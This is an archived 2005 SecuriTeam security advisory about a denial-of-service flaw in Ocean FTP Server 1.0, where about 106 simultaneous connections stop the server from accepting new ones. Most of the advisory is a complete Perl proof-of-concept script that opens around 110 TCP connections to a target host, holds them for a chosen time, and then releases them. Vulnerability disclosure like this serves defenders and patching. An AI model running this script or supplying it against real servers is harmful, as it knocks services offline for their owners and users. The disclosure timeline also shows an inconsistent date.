[EXPL] Ocean FTP DoS (Exploit)

From: SecuriTeam (support_at_securiteam.com)
Date: 03/21/05

  • Next message: SecuriTeam: "[UNIX] myPHP Forum Unauthorized Access" 
    To: list@securiteam.com
Date: 21 Mar 2005 19:36:48 +0200

    The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
    - - promotion

    The SecuriTeam alerts list - Free, Accurate, Independent.

    Get your security news from a reliable source.
    http://www.securiteam.com/mailinglist.html

    - - - - - - - - -

      Ocean FTP DoS (Exploit)
    ------------------------------------------------------------------------

    SUMMARY

     <http://www.codeocean.com/> Ocean FTP Server "incorporates many advanced
    features, all of which are accessible through an easy to use interface".

    A remote user can open approximately 106 simultaneous connections from the
    same host to cause the Ocean FTP server to stop accepting connections.

    DETAILS

    Vulnerable Systems:
     * Ocean FTP Server version 1.0

    Immune Systems:
     * Ocean FTP Server version 1.01

    Exploit
    #!/usr/bin/perl
    ###############################
    # GSS-IT Research And Security Labs #
    ###############################
    # #
    # www.gssit.co.il #
    # #
    ###############################
    # Ocean FTP Server Ver 1.00 Denial Of Service POC #
    ###############################
    # Use This PoC For Educational Purposes Only #
    ###############################
     
      
    use Socket;
      

    if (($#ARGV) < 2)
    {
    print("#############################\n");
    print("# Ocean FTP Server Ver 1.00 Denial Of Service POC #\n");
    print("#############################\n\n");
    print("Use : \n\nperl $0 [Host] [Port] [Sleep] \n");
    exit
    }

    print("#############################\n");
    print("# Ocean FTP Server Ver 1.00 Denial Of Service POC #\n");
    print("#############################\n");

    $host = $ARGV[0];
    $port = $ARGV[1];
    $slp = $ARGV[2];
    $proto = getprotobyname('tcp');

    for ($i=1; $i<110; $i++)
    {
      socket($i, PF_INET, SOCK_STREAM, $proto );
      $dest = sockaddr_in ($port, inet_aton($host));
      if (!(connect($i, $dest)))
      {
       Slp();
      }
     
    }

    print("==> Unsuccesful <==");
    exit;

    sub Slp

    {

     print("\n\nServer $host Has Been Successfully DoS'ed\n\n");
     print("The Server Will Be Down For $slp Seconds\n\n");
     sleep ($slp);
     
     print("==> Killing Connections ...<==\n");
     for ($j=1; $j<110; $j++)
      {
       shutdown($j,2);
      }
     print ("[#] Back To Work Server Up [#] ");
     exit;
    }

    EOF

    Disclosure Timeline:
    17/03/05 - Vendor Notification
    18/03/04 - Vendor Response

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:gss_it@yahoo.com> GSS IT.

    ========================================

    This bulletin is sent to members of the SecuriTeam mailing list.
    To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
    In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

    ====================
    ====================

    DISCLAIMER:
    The information in this bulletin is provided "AS IS" without warranty of any kind.
    In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

  • Next message: SecuriTeam: "[UNIX] myPHP Forum Unauthorized Access"

    Relevant Pages